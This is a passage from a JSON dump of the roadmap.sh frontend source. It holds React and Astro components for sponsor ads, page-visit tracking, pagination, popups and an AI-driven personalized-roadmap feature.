class='mb-0 mt-0 text-base sm:text-xs tracking-wide text-black sm:-mt-3 sm:mb-5'>\n      {text}\n    </p>\n  </div>\n  {\n    isGitHubStars && (\n      <a\n        href='https://github.com/kamranahmedse/developer-roadmap'\n        target='_blank'\n        class='group mt-0 flex flex-col items-center rounded-lg border border-black bg-white px-3 py-2 text-sm hover:bg-black hover:text-white'\n      >\n        <div class='mb-0.5 flex items-center font-semibold'>\n          <Icon icon='star' class='-ml-1 fill-current' />\n          <span class='ml-1.5 hover:block'>Star us on GitHub</span>\n        </div>\n        <span class='text-xs text-gray-500 group-hover:text-gray-100'>\n          Help us reach #1\n        </span>\n      </a>\n    )\n  }\n  {\n    isRegistered && (\n      <a\n        href='/signup'\n        class='group mt-0 flex flex-col items-center rounded-lg border border-black bg-white px-3 py-2 text-sm hover:bg-black hover:text-white'\n      >\n        <div class='mb-0.5 flex items-center font-semibold'>\n          <Icon icon='users' class='-ml-1 h-[15px] fill-current' />\n          <span class='ml-1 hover:block'>Register yourself</span>\n        </div>\n        <span class='text-xs text-gray-500 group-hover:text-gray-100'>\n          Commit to your growth\n        </span>\n      </a>\n    )\n  }\n  {\n    isDiscordMembers && (\n      <a\n        href='https://roadmap.sh/discord'\n        target='_blank'\n        class='group mt-0 flex flex-col items-center rounded-lg border border-black bg-white px-3 py-2 text-sm hover:bg-black hover:text-white'\n      >\n        <div class='mb-0.5 flex items-center font-semibold'>\n          <Icon icon='discord' class='-ml-1 h-[13px] fill-current' />\n          <span class='ml-1 hover:block'>Join on Discord</span>\n        </div>\n        <span class='text-xs text-gray-500 group-hover:text-gray-100'>\n          Join the community\n        </span>\n      </a>\n    )\n  }\n</div>\n"
  },
  {
    "path": "src/components/PageProgress.tsx",
    "content": "import { useStore } from '@nanostores/react';\nimport { pageProgressMessage } from '../stores/page';\nimport { useEffect, useState } from 'react';\nimport { Spinner } from './ReactIcons/Spinner';\n\nexport interface Props {\n  initialMessage: string;\n}\n\nexport function PageProgress(props: Props) {\n  const { initialMessage } = props;\n  const [message, setMessage] = useState(initialMessage);\n\n  const $pageProgressMessage = useStore(pageProgressMessage);\n\n  useEffect(() => {\n    if ($pageProgressMessage === undefined) {\n      return;\n    }\n\n    setMessage($pageProgressMessage);\n  }, [$pageProgressMessage]);\n\n  if (!message) {\n    return null;\n  }\n\n  return (\n    <div>\n      {/* Tailwind based spinner for full page */}\n      <div className=\"fixed left-0 top-0 z-100 flex h-full w-full items-center justify-center bg-white/75\">\n        <div className=\"flex  items-center justify-center rounded-md border bg-white px-4 py-2 \">\n          <Spinner\n            className=\"h-4 w-4 sm:h-4 sm:w-4\"\n            outerFill=\"#e5e7eb\"\n            innerFill=\"#2563eb\"\n          />\n          <h1 className=\"ml-2\">\n            {message}\n            <span className=\"animate-pulse\">...</span>\n          </h1>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/PageSponsor.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet, httpPatch, httpPost } from '../lib/http';\nimport { sponsorHidden } from '../stores/page';\nimport { useStore } from '@nanostores/react';\nimport { X } from 'lucide-react';\nimport { setViewSponsorCookie } from '../lib/jwt';\nimport { isMobile } from '../lib/is-mobile';\nimport Cookies from 'js-cookie';\nimport { getUrlUtmParams } from '../lib/browser.ts';\n\nexport type PageSponsorType = {\n  company: string;\n  description: string;\n  gaLabel: string;\n  imageUrl: string;\n  pageUrl: string;\n  title: string;\n  url: string;\n};\n\ntype V1GetSponsorResponse = {\n  id?: string;\n  href?: string;\n  sponsor?: PageSponsorType;\n};\n\ntype PageSponsorProps = {\n  gaPageIdentifier?: string;\n};\n\nconst CLOSE_SPONSOR_KEY = 'sponsorClosed';\n\nfunction markSponsorHidden(sponsorId: string) {\n  Cookies.set(`${CLOSE_SPONSOR_KEY}-${sponsorId}`, '1', {\n    path: '/',\n    expires: 1,\n    sameSite: 'lax',\n    secure: true,\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n\nfunction isSponsorMarkedHidden(sponsorId: string) {\n  return Cookies.get(`${CLOSE_SPONSOR_KEY}-${sponsorId}`) === '1';\n}\n\nexport function PageSponsor(props: PageSponsorProps) {\n  const { gaPageIdentifier } = props;\n  const $isSponsorHidden = useStore(sponsorHidden);\n\n  const [sponsorId, setSponsorId] = useState<string | null>(null);\n  const [sponsor, setSponsor] = useState<PageSponsorType>();\n\n  useEffect(() => {\n    const foundUtmParams = getUrlUtmParams();\n\n    if (!foundUtmParams.utmSource) {\n      return;\n    }\n\n    localStorage.setItem('utm_params', JSON.stringify(foundUtmParams));\n  }, []);\n\n  const loadSponsor = async () => {\n    const currentPath = window.location.pathname;\n    if (\n      currentPath === '/' ||\n      currentPath === '/best-practices' ||\n      currentPath === '/roadmaps' ||\n      currentPath.startsWith('/guides') ||\n      currentPath.startsWith('/videos') ||\n      currentPath.startsWith('/account') ||\n      currentPath.startsWith('/team/')\n    ) {\n      return;\n    }\n\n    const { response, error } = await httpGet<V1GetSponsorResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-sponsor`,\n      {\n        href: window.location.pathname,\n        mobile: isMobile() ? 'true' : 'false',\n      },\n    );\n\n    if (error) {\n      console.error(error);\n      return;\n    }\n\n    if (\n      !response?.sponsor ||\n      !response.id ||\n      isSponsorMarkedHidden(response.id)\n    ) {\n      return;\n    }\n\n    setSponsor(response.sponsor);\n    setSponsorId(response.id);\n\n    window.fireEvent({\n      category: 'SponsorImpression',\n      action: `${response.sponsor?.company} Impression`,\n      label:\n        response.sponsor.gaLabel ||\n        `${gaPageIdentifier} / ${response.sponsor?.company} Link`,\n    });\n  };\n\n  const clickSponsor = async (sponsorId: string) => {\n    const clickUrl = new URL(\n      `${import.meta.env.PUBLIC_API_URL}/v1-view-sponsor/${sponsorId}`,\n    );\n\n    const { response, error } = await httpPatch<{ status: 'ok' }>(\n      clickUrl.toString(),\n      {\n        mobile: isMobile(),\n      },\n    );\n\n    if (error || !response) {\n      console.error(error);\n      return;\n    }\n\n    setViewSponsorCookie(sponsorId);\n  };\n\n  useEffect(() => {\n    window.setTimeout(loadSponsor);\n  }, []);\n\n  if ($isSponsorHidden || !sponsor) {\n    return null;\n  }\n\n  const { url, title, imageUrl, description, company, gaLabel } = sponsor;\n\n  const isRoadmapAd = title.toLowerCase() === 'advertise with us!';\n\n  return (\n    <a\n      href={url}\n      target=\"_blank\"\n      rel=\"noopener sponsored nofollow\"\n      className=\"fixed bottom-0 left-0 right-0 z-50 flex bg-white shadow-lg outline-0 outline-transparent sm:bottom-[15px] sm:left-auto sm:right-[15px] sm:max-w-[350px]\"\n      onClick={async () => {\n        const labelValue = gaLabel || `${gaPageIdentifier} / ${company} Link`;\n\n        window.fireEvent({\n          category: 'SponsorClick',\n          action: `${company} Redirect`,\n          label: labelValue,\n          value: labelValue,\n        });\n        await clickSponsor(sponsorId || '');\n      }}\n    >\n      <span\n        className=\"absolute right-1 top-1 text-gray-400 hover:text-gray-800 sm:right-1.5 sm:top-1.5 sm:text-gray-300\"\n        aria-label=\"Close\"\n        onClick={(e) => {\n          e.preventDefault();\n          e.stopPropagation();\n\n          markSponsorHidden(sponsorId || '');\n          sponsorHidden.set(true);\n        }}\n      >\n        <X className=\"h-5 w-5 sm:h-4 sm:w-4\" />\n      </span>\n      <span>\n        <img\n          src={imageUrl}\n          className=\"block h-[106px] object-cover sm:h-[153px] sm:w-[118.18px]\"\n          alt=\"Sponsor Banner\"\n        />\n      </span>\n      <span className=\"flex flex-1 flex-col justify-between text-xs sm:text-sm\">\n        <span className=\"p-[10px]\">\n          <span className=\"mb-0.5 block font-semibold\">{title}</span>\n          <span className=\"block text-gray-500\">{description}</span>\n        </span>\n        {!isRoadmapAd && (\n          <>\n            <span className=\"sponsor-footer hidden sm:block\">\n              Partner Content\n            </span>\n            <span className=\"block pb-1 text-center text-[10px] uppercase text-gray-400 sm:hidden\">\n              Partner Content\n            </span>\n          </>\n        )}\n      </span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/PageVisit/PageVisit.tsx",
    "content": "import { useEffect } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { httpPost } from '../../lib/http';\nimport type { ResourceType } from '../../lib/resource-progress';\nimport { storePathAsLastPath } from '../../lib/browser';\n\ntype PageVisitProps = {\n  resourceId?: string;\n  resourceType?: ResourceType;\n};\n\nexport function PageVisit(props: PageVisitProps) {\n  const { resourceId, resourceType } = props;\n\n  useEffect(() => {\n    storePathAsLastPath();\n\n    if (!isLoggedIn()) {\n      return;\n    }\n\n    httpPost(`${import.meta.env.PUBLIC_API_URL}/v1-visit`, {\n      ...(resourceType && { resourceType, resourceId }),\n    }).finally(() => {});\n  }, []);\n\n  return null;\n}\n"
  },
  {
    "path": "src/components/Pagination/Pagination.tsx",
    "content": "import { usePagination } from '../../hooks/use-pagination.ts';\nimport { MoreHorizontal } from 'lucide-react';\nimport { cn } from '../../lib/classname.ts';\nimport { formatCommaNumber } from '../../lib/number.ts';\n\ntype PaginationProps = {\n  variant?: 'minimal' | 'default';\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n  totalCount: number;\n  isDisabled?: boolean;\n  onPageChange: (page: number) => void;\n  className?: string;\n};\n\nexport function Pagination(props: PaginationProps) {\n  const {\n    variant = 'default',\n    onPageChange,\n    totalCount,\n    totalPages,\n    currPage,\n    perPage,\n    isDisabled = false,\n    className,\n  } = props;\n\n  if (!totalPages || totalPages === 1) {\n    return null;\n  }\n\n  const pages = usePagination(currPage, totalPages, 5);\n  const showingFrom = (currPage - 1) * perPage + 1;\n  const showingTo = Math.min(showingFrom + perPage - 1, totalCount);\n\n  return (\n    <div\n      className={cn(\n        'flex items-center',\n        {\n          'justify-between': variant === 'default',\n          'justify-start': variant === 'minimal',\n        },\n        className,\n      )}\n    >\n      <div className=\"flex items-center gap-1 text-xs font-medium\">\n        <button\n          onClick={() => {\n            onPageChange(currPage - 1);\n          }}\n          disabled={currPage === 1 || isDisabled}\n          className=\"rounded-md bg-white border px-2 py-1 hover:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-40\"\n        >\n          &larr;\n        </button>\n        {variant === 'default' && (\n          <>\n            {pages.map((page, counter) => {\n              if (page === 'more') {\n                return (\n                  <span\n                    key={`page-${page}-${counter}`}\n                    className=\"hidden sm:block\"\n                  >\n                    <MoreHorizontal className=\"text-gray-400\" size={14} />\n                  </span>\n                );\n              }\n\n              return (\n                <button\n                  key={`page-${page}`}\n                  disabled={isDisabled}\n                  onClick={() => {\n                    onPageChange(page as number);\n                  }}\n                  className={cn(\n                    'hidden rounded-md border px-2 py-1 hover:bg-gray-100 sm:block',\n                    {\n                      'border-black text-black': currPage === page,\n                    },\n                  )}\n                >\n                  {page}\n                </button>\n              );\n            })}\n          </>\n        )}\n        <button\n          disabled={currPage === totalPages || isDisabled}\n          className=\"rounded-md bg-white border px-2 py-1 hover:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-40\"\n          onClick={() => {\n            onPageChange(currPage + 1);\n          }}\n        >\n          &rarr;\n        </button>\n      </div>\n      <span className=\"ml-2 hidden text-sm font-normal text-gray-500 sm:block\">\n        Showing {formatCommaNumber(showingFrom)} to{' '}\n        {formatCommaNumber(showingTo)} of {formatCommaNumber(totalCount)}{' '}\n        entries\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/PersonalizedRoadmap/PersonalizedRoadmap.tsx",
    "content": "import { Loader2Icon, PersonStandingIcon } from 'lucide-react';\nimport { useCallback, useEffect, useMemo, useState } from 'react';\nimport { usePersonalizedRoadmap } from '../../hooks/use-personalized-roadmap';\nimport {\n  refreshProgressCounters,\n  renderTopicProgress,\n} from '../../lib/resource-progress';\nimport { PersonalizedRoadmapModal } from './PersonalizedRoadmapModal';\nimport { PersonalizedRoadmapSwitcher } from './PersonalizedRoadmapSwitcher';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport { httpPost } from '../../lib/query-http';\nimport { useToast } from '../../hooks/use-toast';\nimport { queryClient } from '../../stores/query-client';\nimport { userResourceProgressOptions } from '../../queries/resource-progress';\nimport { useAuth } from '../../hooks/use-auth';\nimport { roadmapJSONOptions } from '../../queries/roadmap';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport { cn } from '../../lib/classname';\n\ntype PersonalizedRoadmapProps = {\n  roadmapId: string;\n};\n\nexport function PersonalizedRoadmap(props: PersonalizedRoadmapProps) {\n  const { roadmapId } = props;\n\n  const toast = useToast();\n  const currentUser = useAuth();\n  const [isModalOpen, setIsModalOpen] = useState(false);\n  const [isPersonalized, setIsPersonalized] = useState(false);\n\n  const { data: roadmap } = useQuery(\n    roadmapJSONOptions(roadmapId),\n    queryClient,\n  );\n\n  const {\n    data: userProgress,\n    isLoading: isUserProgressLoading,\n    refetch: refetchUserProgress,\n  } = useQuery(userResourceProgressOptions('roadmap', roadmapId), queryClient);\n\n  useEffect(() => {\n    if (userProgress?.personalized) {\n      setIsPersonalized(true);\n    }\n  }, [userProgress]);\n\n  const alreadyInProgressNodeIds = useMemo(() => {\n    return new Set([\n      ...(userProgress?.learning ?? []),\n      ...(userProgress?.done ?? []),\n    ]);\n  }, [userProgress]);\n\n  const allPendingNodeIds = useMemo(() => {\n    const nodes =\n      roadmap?.json?.nodes?.filter((node) =>\n        ['topic', 'subtopic'].includes(node?.type ?? ''),\n      ) ?? [];\n\n    return nodes\n      .filter((node) => {\n        const topicId = node?.id;\n        return !alreadyInProgressNodeIds.has(topicId);\n      })\n      .map((node) => node?.id);\n  }, [roadmap, alreadyInProgressNodeIds]);\n\n  const clearResourceProgressLocalStorage = useCallback(() => {\n    localStorage.removeItem(`roadmap-${roadmapId}-${currentUser?.id}-progress`);\n    localStorage.removeItem(`roadmap-${roadmapId}-${currentUser?.id}-favorite`);\n  }, [roadmapId, currentUser]);\n\n  const { mutate: savePersonalization, isPending: isSavingPersonalization } =\n    useMutation(\n      {\n        mutationFn: (data: { topicIds: string[]; information: string }) => {\n          const remainingTopicIds = allPendingNodeIds.filter(\n            (nodeId) => !data.topicIds.includes(nodeId),\n          );\n\n          return httpPost(`/v1-save-personalization/${roadmapId}`, {\n            personalized: {\n              ...data,\n              topicIds: remainingTopicIds,\n            },\n          });\n        },\n        onError: (error) => {\n          toast.error(error?.message ?? 'Failed to save personalization');\n        },\n        onSuccess: () => {\n          clearResourceProgressLocalStorage();\n          refetchUserProgress();\n          refreshProgressCounters();\n          toast.success('Personalization saved successfully');\n        },\n      },\n      queryClient,\n    );\n\n  const { generatePersonalizedRoadmap, status } = usePersonalizedRoadmap({\n    roadmapId,\n    onStart: () => {\n      setIsModalOpen(false);\n    },\n    onError: (error) => {\n      for (const nodeId of allPendingNodeIds) {\n        renderTopicProgress(nodeId, 'pending');\n      }\n    },\n    onData: (data) => {\n      const { topicIds } = data;\n      topicIds.forEach((topicId) => {\n        if (alreadyInProgressNodeIds.has(topicId)) {\n          return;\n        }\n\n        renderTopicProgress(topicId, 'pending');\n      });\n    },\n    onFinish: (data) => {\n      const { topicIds, information } = data;\n      savePersonalization({ topicIds, information });\n    },\n  });\n\n  const { mutate: clearPersonalization, isPending: isClearing } = useMutation(\n    {\n      mutationFn: () => {\n        return httpPost(`/v1-clear-roadmap-personalization/${roadmapId}`, {});\n      },\n      onError: (error) => {\n        toast.error(error?.message ?? 'Failed to clear personalization');\n      },\n      onSuccess: () => {\n        // Reset all topics to pending state\n        allPendingNodeIds.forEach((topicId) => {\n          renderTopicProgress(topicId, 'pending');\n        });\n\n        setIsPersonalized(false);\n        toast.success('Personalization cleared successfully.');\n        refetchUserProgress();\n      },\n    },\n    queryClient,\n  );\n\n  const isGenerating =\n    status !== 'idle' || isClearing || isSavingPersonalization;\n\n  const handleTogglePersonalization = (showPersonalized: boolean) => {\n    setIsPersonalized(showPersonalized);\n\n    if (!showPersonalized) {\n      const allTopicIds = allPendingNodeIds;\n      allTopicIds.forEach((topicId) => {\n        renderTopicProgress(topicId, 'pending');\n      });\n    } else if (userProgress?.personalized) {\n      const { topicIds } = userProgress.personalized;\n      // user is asking for personalized roadmap, we need to\n      // mark all the pending ids which are in the personalized roadmap\n      // as skipped and mark the rest as pending\n      allPendingNodeIds.forEach((topicId) => {\n        if (topicIds.includes(topicId)) {\n          renderTopicProgress(topicId, 'skipped');\n        } else {\n          renderTopicProgress(topicId, 'pending');\n        }\n      });\n    }\n  };\n\n  return (\n    <>\n      {isModalOpen && (\n        <PersonalizedRoadmapModal\n          info={userProgress?.personalized?.information ?? ''}\n          onClose={() => setIsModalOpen(false)}\n          onSubmit={(information) => {\n            for (const nodeId of allPendingNodeIds) {\n              renderTopicProgress(nodeId, 'skipped');\n            }\n\n            generatePersonalizedRoadmap(information);\n          }}\n          onClearProgress={() => {\n            setIsModalOpen(false);\n            clearPersonalization();\n          }}\n        />\n      )}\n\n      {userProgress?.personalized?.information ? (\n        <PersonalizedRoadmapSwitcher\n          isPersonalized={isPersonalized}\n          onToggle={handleTogglePersonalization}\n          onEdit={() => setIsModalOpen(true)}\n          onRemove={() => {\n            if (confirm('Are you sure you want to remove personalization?')) {\n              clearPersonalization();\n            }\n          }}\n        />\n      ) : (\n        <button\n          className=\"group hidden sm:inline-flex items-center gap-1.5 border-b-2 border-b-transparent pb-2.5 text-sm font-normal text-gray-500 transition-colors hover:text-black\"\n          onClick={() => {\n            if (!isLoggedIn()) {\n              showLoginPopup();\n              return;\n            }\n\n            setIsModalOpen(true);\n          }}\n          disabled={isGenerating}\n        >\n          {isGenerating ? (\n            <>\n              <Loader2Icon className=\"h-4 w-4 shrink-0 animate-spin\" />\n              <span>Personalizing...</span>\n            </>\n          ) : (\n            <>\n              <PersonStandingIcon className=\"h-4 w-4 shrink-0\" />\n              <span>Personalize</span>\n              <span\n                className={cn(\n                  'ml-0.5 hidden items-center gap-0.5 rounded-full bg-yellow-200 px-2 py-0.5 text-xs font-medium text-black transition-colors sm:flex',\n                  {\n                    'bg-yellow-200 text-black group-hover:bg-yellow-300': true,\n                  },\n                )}\n              >\n                New\n              </span>\n            </>\n          )}\n        </button>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/PersonalizedRoadmap/PersonalizedRoadmapModal.tsx",
    "content": "import { PersonStandingIcon, Trash2 } from 'lucide-react';\nimport { useId, useState, type FormEvent } from 'react';\nimport { Modal } from '../Modal';\nimport { queryClient } from '../../stores/query-client';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { useQuery } from '@tanstack/react-query';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype PersonalizedRoadmapModalProps = {\n  onClose: () => void;\n  info: string;\n  onSubmit: (information: string) => void;\n  onClearProgress: () => void;\n};\n\nexport function PersonalizedRoadmapModal(props: PersonalizedRoadmapModalProps) {\n  const {\n    onClose,\n    info: infoProp,\n    onSubmit: onSubmitProp,\n    onClearProgress,\n  } = props;\n\n  const [info, setInfo] = useState(infoProp);\n  const infoFieldId = useId();\n\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const hasReachedLimit =\n    limits?.used && limits?.limit ? limits.used >= limits.limit : false;\n  console.log(limits);\n\n  const handleSubmit = (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    onSubmitProp(info);\n  };\n\n  if (hasReachedLimit) {\n    return <UpgradeAccountModal onClose={onClose} />;\n  }\n\n  return (\n    <Modal\n      onClose={onClose}\n      wrapperClassName=\"h-auto\"\n      overlayClassName=\"items-start md:items-center\"\n      bodyClassName=\"rounded-2xl\"\n    >\n      <form onSubmit={handleSubmit} className=\"p-4\">\n        <h2 className=\"text-lg font-semibold\">Personalize Roadmap</h2>\n        <div className=\"mt-0.5 flex flex-col gap-2\">\n          <label htmlFor={infoFieldId} className=\"text-balance text-gray-600\">\n            Tell us about yourself to personlize this roadmap as per your goals\n            and experience\n          </label>\n          <textarea\n            id={infoFieldId}\n            className=\"h-[150px] w-full resize-none rounded-xl border border-gray-200 p-3 focus:border-gray-500 focus:outline-none\"\n            placeholder=\"e.g. I am a beginner, give me a simpler version of the roadmap\"\n            value={info}\n            onChange={(e) => setInfo(e.target.value)}\n            autoFocus\n          />\n        </div>\n\n        <div className=\"mt-2 grid grid-cols-2 gap-2\">\n          <button\n            type=\"button\"\n            className=\"flex items-center justify-center gap-2 rounded-xl border border-red-200 p-2 px-2 text-sm text-red-600 hover:bg-red-50 focus:outline-none\"\n            onClick={onClearProgress}\n          >\n            <Trash2 className=\"h-4 w-4\" />\n            Reset\n          </button>\n          <button\n            type=\"submit\"\n            disabled={!info.trim()}\n            className=\"flex items-center justify-center gap-2 rounded-xl bg-black p-2 px-2 text-white hover:opacity-90 focus:outline-none disabled:cursor-not-allowed disabled:opacity-50\"\n          >\n            <PersonStandingIcon className=\"h-4 w-4\" />\n            Personalize\n          </button>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/PersonalizedRoadmap/PersonalizedRoadmapSwitcher.tsx",
    "content": "import { PencilIcon, XIcon, MoreVertical } from 'lucide-react';\nimport { cn } from '../../lib/classname';\nimport { useState, useRef, useEffect } from 'react';\n\ntype PersonalizedRoadmapSwitcherProps = {\n  isPersonalized: boolean;\n  onToggle: (isPersonalized: boolean) => void;\n  onEdit: () => void;\n  onRemove: () => void;\n  className?: string;\n};\n\nexport function PersonalizedRoadmapSwitcher(\n  props: PersonalizedRoadmapSwitcherProps,\n) {\n  const { isPersonalized, onToggle, onEdit, onRemove, className } = props;\n  const [isDropdownOpen, setIsDropdownOpen] = useState(false);\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  useEffect(() => {\n    const handleClickOutside = (event: MouseEvent) => {\n      if (\n        dropdownRef.current &&\n        !dropdownRef.current.contains(event.target as Node)\n      ) {\n        setIsDropdownOpen(false);\n      }\n    };\n\n    document.addEventListener('mousedown', handleClickOutside);\n    return () => {\n      document.removeEventListener('mousedown', handleClickOutside);\n    };\n  }, []);\n\n  return (\n    <div className={cn('mb-2 flex items-center gap-2', className)}>\n      <div className=\"relative flex items-center\">\n        <div className=\"relative\" ref={dropdownRef}>\n          <button\n            onClick={() => setIsDropdownOpen(!isDropdownOpen)}\n            className=\"mr-0.5 p-1 text-gray-400 hover:text-gray-600\"\n            title=\"More options\"\n          >\n            <MoreVertical className=\"h-3.5 w-3.5\" />\n          </button>\n          {isDropdownOpen && (\n            <div className=\"absolute top-full left-0 z-20 mt-1 rounded-md border border-gray-200 bg-white shadow-lg\">\n              <button\n                onClick={() => {\n                  onEdit();\n                  setIsDropdownOpen(false);\n                }}\n                className=\"flex w-full items-center gap-2 px-3 py-2 text-sm text-gray-700 hover:bg-gray-100\"\n              >\n                <PencilIcon className=\"h-3.5 w-3.5\" />\n                Edit\n              </button>\n              <button\n                onClick={() => {\n                  onRemove();\n                  setIsDropdownOpen(false);\n                }}\n                className=\"flex w-full items-center gap-2 px-3 py-2 text-sm text-red-600 hover:bg-red-50\"\n              >\n                <XIcon className=\"h-3.5 w-3.5\" />\n                Delete\n              </button>\n            </div>\n          )}\n        </div>\n        <div className=\"flex bg-gray-200 rounded-full\">\n          <button\n            className={cn(\n              'rounded-full px-2.5 py-1 text-xs font-medium transition-all',\n              isPersonalized\n                ? 'bg-gray-900 text-white'\n                : 'text-gray-500 hover:text-gray-700',\n            )}\n            onClick={() => onToggle(true)}\n          >\n            Personalized\n          </button>\n          <button\n            className={cn(\n              'rounded-full px-2.5 py-1 text-xs font-medium transition-all',\n              !isPersonalized\n                ? 'bg-gray-900 text-white'\n                : 'text-gray-500 hover:text-gray-700',\n            )}\n            onClick={() => onToggle(false)}\n          >\n            Original\n          </button>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Popover.tsx",
    "content": "import * as PopoverPrimitive from '@radix-ui/react-popover';\nimport * as React from 'react';\nimport { cn } from '../lib/classname';\n\nconst Popover = PopoverPrimitive.Root;\n\nconst PopoverTrigger = PopoverPrimitive.Trigger;\n\nconst PopoverContent = React.forwardRef<\n  React.ElementRef<typeof PopoverPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>\n>(({ className, align = 'center', sideOffset = 4, ...props }, ref) => (\n  <PopoverPrimitive.Portal>\n    <PopoverPrimitive.Content\n      ref={ref}\n      align={align}\n      sideOffset={sideOffset}\n      className={cn(\n        'z-50 w-72 rounded-lg border border-gray-200 bg-white p-2 text-black shadow-sm outline-none',\n        className,\n      )}\n      {...props}\n    />\n  </PopoverPrimitive.Portal>\n));\nPopoverContent.displayName = PopoverPrimitive.Content.displayName;\n\nexport { Popover, PopoverContent, PopoverTrigger };\n"
  },
  {
    "path": "src/components/Popup/Popup.astro",
    "content": "---\nimport Icon from '../AstroIcon.astro';\n\nexport interface Props {\n  id: string;\n  title: string;\n  subtitle: string;\n}\n\nconst { id, title, subtitle } = Astro.props;\n---\n\n<script src='./popup.js'></script>\n\n<div\n  id={id}\n  tabindex='-1'\n  class='hidden bg-black/50 overflow-y-auto overflow-x-hidden fixed top-0 right-0 left-0 z-999 h-full items-center justify-center popup'\n>\n  <div class='relative p-4 w-full max-w-md h-full md:h-auto'>\n    <div class='relative bg-white rounded-lg shadow-sm popup-body'>\n      <button\n        type='button'\n        class='absolute top-3 right-2.5 text-gray-400 bg-transparent hover:bg-gray-200 hover:text-gray-900 rounded-lg text-sm p-1.5 ml-auto inline-flex items-center popup-close'\n      >\n        <Icon icon='close' />\n        <span class='sr-only'>Close popup</span>\n      </button>\n      <div class='p-5'>\n        <h3 class='text-2xl mb-0.5 font-medium'>\n          {title}\n        </h3>\n        <p class='mb-4 text-sm font-normal text-gray-800'>\n          {subtitle}\n        </p>\n\n        <slot />\n      </div>\n    </div>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/Popup/popup.js",
    "content": "export class Popup {\n  constructor() {\n    this.triggerPopup = this.triggerPopup.bind(this);\n    this.onDOMLoaded = this.onDOMLoaded.bind(this);\n    this.handleClosePopup = this.handleClosePopup.bind(this);\n    this.handleKeydown = this.handleKeydown.bind(this);\n  }\n\n  /**\n   * Triggers the popup on target elements\n   * @param {Event} e\n   */\n  triggerPopup(e) {\n    const popupToShow =\n      e?.target?.closest('[data-popup]')?.dataset?.popup || 'unknown-popup';\n    const popupEl = document.querySelector(`#${popupToShow}`);\n\n    if (!popupEl) {\n      return;\n    }\n\n    e.preventDefault();\n    popupEl.classList.remove('hidden');\n    popupEl.classList.add('flex');\n    const focusEl = popupEl.querySelector('[autofocus]');\n    if (focusEl) {\n      focusEl.focus();\n    }\n  }\n\n  handleClosePopup(e) {\n    const target = e.target;\n    const popupBody = target.closest('.popup-body');\n    const closestPopup = target.closest('.popup');\n    const closeBtn = target.closest('.popup-close');\n\n    if (!closeBtn && popupBody) {\n      return;\n    }\n\n    if (closestPopup) {\n      closestPopup.classList.add('hidden');\n      closestPopup.classList.remove('flex');\n    }\n  }\n\n  handleKeydown(e) {\n    if (e.key !== 'Escape') {\n      return;\n    }\n\n    const popup = document.querySelector('.popup:not(.hidden)');\n    if (popup) {\n      popup.classList.add('hidden');\n      popup.classList.remove('flex');\n    }\n  }\n\n  onDOMLoaded() {\n    document.addEventListener('click', this.triggerPopup);\n    document.addEventListener('click', this.handleClosePopup);\n    document.addEventListener('keydown', this.handleKeydown);\n  }\n\n  init() {\n    window.addEventListener('DOMContentLoaded', this.onDOMLoaded);\n  }\n}\n\nconst popupRef = new Popup();\npopupRef.init();\n"
  },
  {
    "path": "src/components/Premium/CredibilityStats.tsx",
    "content": "import type { LucideIcon } from 'lucide-react';\nimport {\n    Bot,\n    GitPullRequest,\n    Star,\n    Users2,\n} from 'lucide-react';\nimport { cn } from '../../lib/classname';\n\ninterface CredibilityItemProps {\n  icon: LucideIcon;\n  iconClassName: string;\n  value: string;\n  label: string;\n  subLabel: string;\n}\n\nfunction CredibilityItem(props: CredibilityItemProps) {\n  const Icon = props.icon;\n  return (\n    <div className=\"group flex flex-col items-center text-center\">\n      <div className=\"mb-4 flex h-12 w-12 items-center justify-center rounded-lg bg-slate-900/50\">\n        <Icon\n          className={cn(`h-6 w-6`, props.iconClassName)}\n          strokeWidth={1.5}\n        />\n      </div>\n      <div className=\"text-3xl font-bold text-white\">{props.value}</div>\n      <div className=\"mt-3 text-sm font-medium text-slate-400\">\n        {props.label}\n      </div>\n      <div className=\"mt-1.5 text-xs text-slate-500\">{props.subLabel}</div>\n    </div>\n  );\n}\n\nexport function CredibilityStats() {\n  return (\n    <div className=\"mb-10 hidden md:block\">\n      <div className=\"rounded-xl border border-slate-700 bg-slate-800/50 p-8 md:p-12\">\n        <div className=\"mb-8 md:mb-12\">\n          <h2 className=\"text-3xl font-bold text-white md:text-4xl\">\n            The Platform Developers Trust\n          </h2>\n          <p className=\"mt-2 text-lg text-slate-400\">\n            Join millions of developers in their learning journey\n          </p>\n        </div>\n\n        <div className=\"grid gap-8 md:grid-cols-4\">\n          <CredibilityItem\n            icon={Star}\n            iconClassName=\"text-yellow-400 fill-current\"\n            value=\"#6\"\n            label=\"Most Starred Project\"\n            subLabel=\"Among 200M+ Repositories\"\n          />\n          <CredibilityItem\n            icon={Users2}\n            iconClassName=\"text-blue-400\"\n            value=\"2.1M+\"\n            label=\"Active Developers\"\n            subLabel=\"Learning & Growing Daily\"\n          />\n          <CredibilityItem\n            icon={Bot}\n            iconClassName=\"text-indigo-400\"\n            value=\"37K+\"\n            label=\"Discord Members\"\n            subLabel=\"Active Community Support\"\n          />\n          <CredibilityItem\n            icon={GitPullRequest}\n            